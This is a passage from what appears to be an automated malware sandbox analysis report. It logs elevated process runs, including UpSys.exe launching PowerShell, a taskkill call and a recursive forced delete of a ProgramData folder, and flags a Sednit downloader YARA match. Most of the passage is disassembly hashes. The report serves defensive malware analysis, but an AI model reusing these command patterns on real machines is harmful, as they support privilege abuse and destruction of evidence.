                                                                                                                                                                                                      Target ID:139
                                                                                                                                                                                                      Start time:17:03:08
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\ProgramData\UpSys.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\ProgramData\UpSys.exe" /TI/ /SW:0 powershell.exe
                                                                                                                                                                                                      Imagebase:0x140000000
                                                                                                                                                                                                      File size:945944 bytes
                                                                                                                                                                                                      MD5 hash:EFE5769E37BA37CF4607CB9918639932
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: MAL_Sednit_DelphiDownloader_Apr18_2, Description: Detects malware from Sednit Delphi Downloader report, Source: 0000008B.00000003.606812753.00000000030B1000.00000004.00000020.00020000.00000000.sdmp, Author: Florian Roth

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:141
                                                                                                                                                                                                      Start time:17:03:09
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:143
                                                                                                                                                                                                      Start time:17:03:12
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Windows\System32\cmd.exe" /K del /S /Q C:\ProgramData\Systemd\* && exit
                                                                                                                                                                                                      Imagebase:0x7ff6a6590000
                                                                                                                                                                                                      File size:273920 bytes
                                                                                                                                                                                                      MD5 hash:4E2ACF4F8A396486AB4268C94A6A245F
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:144
                                                                                                                                                                                                      Start time:17:03:15
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:145
                                                                                                                                                                                                      Start time:17:03:16
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                      Imagebase:0x7ff7bab80000
                                                                                                                                                                                                      File size:625664 bytes
                                                                                                                                                                                                      MD5 hash:EA777DEEA782E8B4D7C7C33BBF8A4496
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:146
                                                                                                                                                                                                      Start time:17:03:17
                                                                                                                                                                                                      Start date:22/07/2022
                                                                                                                                                                                                      Path:C:\Windows\System32\taskkill.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:taskkill /IM
                                                                                                                                                                                                      Imagebase:0x7ff601a80000
                                                                                                                                                                                                      File size:94720 bytes
                                                                                                                                                                                                      MD5 hash:530C6A6CBA137EAA7021CEF9B234E8D4
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language

                                                                                                                                                                                                      Disassembly

                                                                                                                                                                                                      Reset < >

                                                                                                                                                                                                        Executed Functions

                                                                                                                                                                                                        Function 00007FF8591539E1 Relevance: 7.8, Strings: 5, Instructions: 1554COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.653043972.00007FF859150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859150000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859150000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: (@,Y$(@,Y$`@,Y$`@,Y$Q_L
                                                                                                                                                                                                        • API String ID: 0-1597794133
                                                                                                                                                                                                        • Opcode ID: 310ede3477778771222f3ece92b1387a48f6426fe1f10e24c6e65821ee3bfafe
                                                                                                                                                                                                        • Instruction ID: a4e0c3e46187e97e9fb076606f246f01b2cd82017783e23b576f5eec2f88f36c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 310ede3477778771222f3ece92b1387a48f6426fe1f10e24c6e65821ee3bfafe
                                                                                                                                                                                                        • Instruction Fuzzy Hash: D9A26721E4DAD94FEB9A9B2C68551B43FE1EF56261B0E01FBD049CB1D3DE1CAC068742
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF85908889A Relevance: 4.5, Strings: 3, Instructions: 726COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: S2Y$@U2Y$}@i
                                                                                                                                                                                                        • API String ID: 0-1098540958
                                                                                                                                                                                                        • Opcode ID: 5de5d7b662bdd1c0e6979d50cc845445289d572b7f130ffa2ae29024f19d9100
                                                                                                                                                                                                        • Instruction ID: 53ccdd81914714fde4956efa3076365b2fc71edf98b131bd1a3fd0caf8b9d49a
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5de5d7b662bdd1c0e6979d50cc845445289d572b7f130ffa2ae29024f19d9100
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 43F1C330A08A4D8FDF88DF5CC485AA97BE1FF68350F19056AD449D7296CB34E846CB81
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8591581BD Relevance: 2.9, Strings: 2, Instructions: 448COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.653043972.00007FF859150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859150000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859150000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: `G,Y$`G,Y
                                                                                                                                                                                                        • API String ID: 0-3952751445
                                                                                                                                                                                                        • Opcode ID: cc4e652236b926f839a518cb167abbafe9fd62f5eacdfab1253bc452df75c4b4
                                                                                                                                                                                                        • Instruction ID: f5bf656a503c7a303b8dfa31a7f47f8253f8aa9109838a4bb76ca31b52d95be4
                                                                                                                                                                                                        • Opcode Fuzzy Hash: cc4e652236b926f839a518cb167abbafe9fd62f5eacdfab1253bc452df75c4b4
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E9D1337194EBD95FD7969B2898152B57FA0FF52361B0A01FBD088CB093DB1CA806C792
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8591540CF Relevance: 1.3, Strings: 1, Instructions: 93COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.653043972.00007FF859150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859150000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859150000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: `@,Y
                                                                                                                                                                                                        • API String ID: 0-1098786593
                                                                                                                                                                                                        • Opcode ID: b158cb12898adfab7e27316c7f5edf3edfe023ff0efbea2c484fee9103ba180c
                                                                                                                                                                                                        • Instruction ID: 7153e8c84e3e7ed483583fd553a152951392fc6cbe7a97853dc6b94a3d0a73f7
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b158cb12898adfab7e27316c7f5edf3edfe023ff0efbea2c484fee9103ba180c
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 4A21E422E4D9A64FEBA9DE1C54912B466D1EFA4762F5E10B9C10FC72E2CF2CEC014A45
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859156CE3 Relevance: 1.3, Strings: 1, Instructions: 62COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.653043972.00007FF859150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859150000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859150000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID: hE,Y
                                                                                                                                                                                                        • API String ID: 0-2181156133
                                                                                                                                                                                                        • Opcode ID: ff9fdc8cf6c0e4d98695afbfe52663cbaa9e4da92bfd799344e87621648d9cad
                                                                                                                                                                                                        • Instruction ID: aa77347b8e20d6cbaa86b57ae5258a314b6e8a4132d3a9a1a3599c6d5f2b6a66
                                                                                                                                                                                                        • Opcode Fuzzy Hash: ff9fdc8cf6c0e4d98695afbfe52663cbaa9e4da92bfd799344e87621648d9cad
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 3611A371E0D6998FEF95DF5C44415F877E1FF543E1F0900BAC44CDB186DA29A8458790
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859089B65 Relevance: .5, Instructions: 515COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 1ae503469f5a6e2cae15e7284d329041f5d867b278b74b4e854971697df9f968
                                                                                                                                                                                                        • Instruction ID: 7311da1934f6d52959164aedee9dd829cc5914b4570f3ff2581e688f181891e3
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 1ae503469f5a6e2cae15e7284d329041f5d867b278b74b4e854971697df9f968
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F1F1D430A08A8D8FDF88EF1CC495AA97BF1FF59350F1945A9D409C7296CB34E846CB81
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8590871D6 Relevance: .2, Instructions: 197COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 5b1a2fe7fd44efc88dbbe3a273e896367292e7daeba661ae16fadb9444c6adbd
                                                                                                                                                                                                        • Instruction ID: 2a25dc343f90ebdbe481ba74174188deab435113f36fa8cff56c3df7402e0b70
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 5b1a2fe7fd44efc88dbbe3a273e896367292e7daeba661ae16fadb9444c6adbd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FB512431A0D7C54FDB0ADB2888659B17BE0EF56364B0C04FED489C71A7DA2AE84AC751
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8590871FC Relevance: .2, Instructions: 155COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: f114dff3c1b84fc0a5f3014efdfa0188ff00c7c9b138f785d0e19818b9c1ef62
                                                                                                                                                                                                        • Instruction ID: fc6abd46ea00cca795207713119e6a99f83279dc4968c4738393f10a01b5d1ad
                                                                                                                                                                                                        • Opcode Fuzzy Hash: f114dff3c1b84fc0a5f3014efdfa0188ff00c7c9b138f785d0e19818b9c1ef62
                                                                                                                                                                                                        • Instruction Fuzzy Hash: AA41063061DB894FDB48DE2CC45597177E1EF69364B1804BEE48AC3257EA26FC478741
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859089BAC Relevance: .1, Instructions: 130COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 9138e6de081f2d18eff66e2799522782f859e9e595822697b926237b251afecd
                                                                                                                                                                                                        • Instruction ID: 7fedd6acc69d452d52cd2cfc0f66193919635ad3d263dd936aec959fba1af3f0
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9138e6de081f2d18eff66e2799522782f859e9e595822697b926237b251afecd
                                                                                                                                                                                                        • Instruction Fuzzy Hash: FA310531B1CA494FDB88EE1CC495971B7E1FB99320B1405BDD48AC7296DA26FC46CB81
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859086168 Relevance: .1, Instructions: 127COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 770d3366c67aa6201eab9d1fa873e36f903095c136d5b8fabcc9d04160eb9d10
                                                                                                                                                                                                        • Instruction ID: 6e7fa111988c30d523417d333985b9629d909b3e08c8e9756a3ea3e00f28a89e
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 770d3366c67aa6201eab9d1fa873e36f903095c136d5b8fabcc9d04160eb9d10
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7A31C53191CB8C8FDB18DF5C980A6A97BE0FB99721F04426FE449C3252CB75A855CBC2
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859089B8C Relevance: .1, Instructions: 122COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: a9ddc1e1d86ecf6e23e1d891658faa8683a6530210df10123b06efa90e821787
                                                                                                                                                                                                        • Instruction ID: e3af9c857f900e047c523bd3256422b1bf368d893f1f72ae4a8ab14aae5fccc9
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a9ddc1e1d86ecf6e23e1d891658faa8683a6530210df10123b06efa90e821787
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 7F31C531B1CA494FDF88EE1CD495A7073E1FB98320B1405BDD49EC7696DA26F8458B81
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859086A7C Relevance: .1, Instructions: 102COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 48ea28443406be699fdd3bf9828bb413be1b0f1cc43975c3734b12e19f652490
                                                                                                                                                                                                        • Instruction ID: f5276582035c1da062dda7f47a18860563a018903f04ef74d8194b733af2a96b
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 48ea28443406be699fdd3bf9828bb413be1b0f1cc43975c3734b12e19f652490
                                                                                                                                                                                                        • Instruction Fuzzy Hash: BA21463090CB8C8FDB18DFAC984A7E97FE0EB96330F04416BD048C3152CA74A80ACB91
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8591543BC Relevance: .1, Instructions: 61COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.653043972.00007FF859150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859150000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859150000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 8514f86f30fc704b8518b3480ce5780fe52df100e4c7b1ebf9e214d701b3923a
                                                                                                                                                                                                        • Instruction ID: d1484a14896dee4fb966b7626bef23102831b919fe1655a75cb15b0a8f07447d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 8514f86f30fc704b8518b3480ce5780fe52df100e4c7b1ebf9e214d701b3923a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: A9110232E8D5E54FEBE9DA1C94906B876D0EF54771B4E10BAC14EC71E2CB2CAC008B81
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859410793 Relevance: .1, Instructions: 61COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.657197537.00007FF859410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859410000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859410000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 857d08ac00f758a3ffb0bb0181f46e797fd59b163c8b526d641a62817b46b9a0
                                                                                                                                                                                                        • Instruction ID: 07bb7b22c5ddb2de34c15ada70981f20a1e0563580c0fc9fabd4901366306e96
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 857d08ac00f758a3ffb0bb0181f46e797fd59b163c8b526d641a62817b46b9a0
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E9119E31E0E6CA8FEB95EE6C54815B877A1FF583E0B0800BAC51DDB182EB28AC45C750
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859156D83 Relevance: .1, Instructions: 55COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.653043972.00007FF859150000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859150000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859150000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 758bdb0b03173c3688e545aeca02671aa5bf35b68bff57d2285cae06eb43e145
                                                                                                                                                                                                        • Instruction ID: 7e53162c205b4d4f17bb5e422f45594ba150f0b44f20844513cf99fdc019e711
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 758bdb0b03173c3688e545aeca02671aa5bf35b68bff57d2285cae06eb43e145
                                                                                                                                                                                                        • Instruction Fuzzy Hash: DC018432B0C91C8FDF95EB5C94419EDB3A2FB58761B1800B7D10DC7153DE2998468B84
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859410833 Relevance: .1, Instructions: 55COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.657197537.00007FF859410000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859410000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859410000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 917d1b0f1fbf137b5eefa74eafe464c895721d5ffdb8c48f14c041cbce75a570
                                                                                                                                                                                                        • Instruction ID: d6ae6a9a241cfa7fd24a4278a9beefad825d097a2d8ccd489c4fc6994fe46c7c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 917d1b0f1fbf137b5eefa74eafe464c895721d5ffdb8c48f14c041cbce75a570
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 75017132B0D9188FDF95EB5C94419EDB3A2EB58760B1800B7D10DC7152DE299846C784
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859081355 Relevance: .0, Instructions: 49COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 21a7e74ee475e31a20754763548232013f8a4b7737391038bcb6a475d2a6b6e6
                                                                                                                                                                                                        • Instruction ID: 0bfec3940d5905b1a644dcedf61bed774bf547e49fa791a2f1397a2c00b74d98
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 21a7e74ee475e31a20754763548232013f8a4b7737391038bcb6a475d2a6b6e6
                                                                                                                                                                                                        • Instruction Fuzzy Hash: E601677115CB0C4FDB44EF0CE451AA6B7E0FB95364F10056DE58AC3651DB36E882CB45
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF8590866D8 Relevance: .0, Instructions: 41COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 4620bc6cc35fc523fe2da34d40e6d89cb7acfacc3b218278f6964043c60b9fd9
                                                                                                                                                                                                        • Instruction ID: 52ebc8e761cc7eccbbb392d7c7b8874b3174be740925d0c49f589c367754b809
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 4620bc6cc35fc523fe2da34d40e6d89cb7acfacc3b218278f6964043c60b9fd9
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 29F02B3480C6C94FDB0ADF2898155D57FE0FF26260B0A02D7E458C70A2DB74D458C7C2
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859089CA8 Relevance: .0, Instructions: 39COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000004.00000002.652643880.00007FF859080000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF859080000, based on PE: false
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_4_2_7ff859080000_powershell.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID:
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID:
                                                                                                                                                                                                        • Opcode ID: 6ef551260b1d9975afe40ebec1243d461aa76d1f7dd1eef8ed2c57342edf2a85
                                                                                                                                                                                                        • Instruction ID: 18a81112541ee06cfdfa4f675d7716dab6b9ca950021bc4312d187d157e1510d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6ef551260b1d9975afe40ebec1243d461aa76d1f7dd1eef8ed2c57342edf2a85
                                                                                                                                                                                                        • Instruction Fuzzy Hash: C1F0303275C6044FDB4CAA1CF8429B573E1EB9A320B40056EE48BC2696D927E8468686
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00007FF859088B48 Relevance: .0, Instructions: 39COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        Memory Dump Source
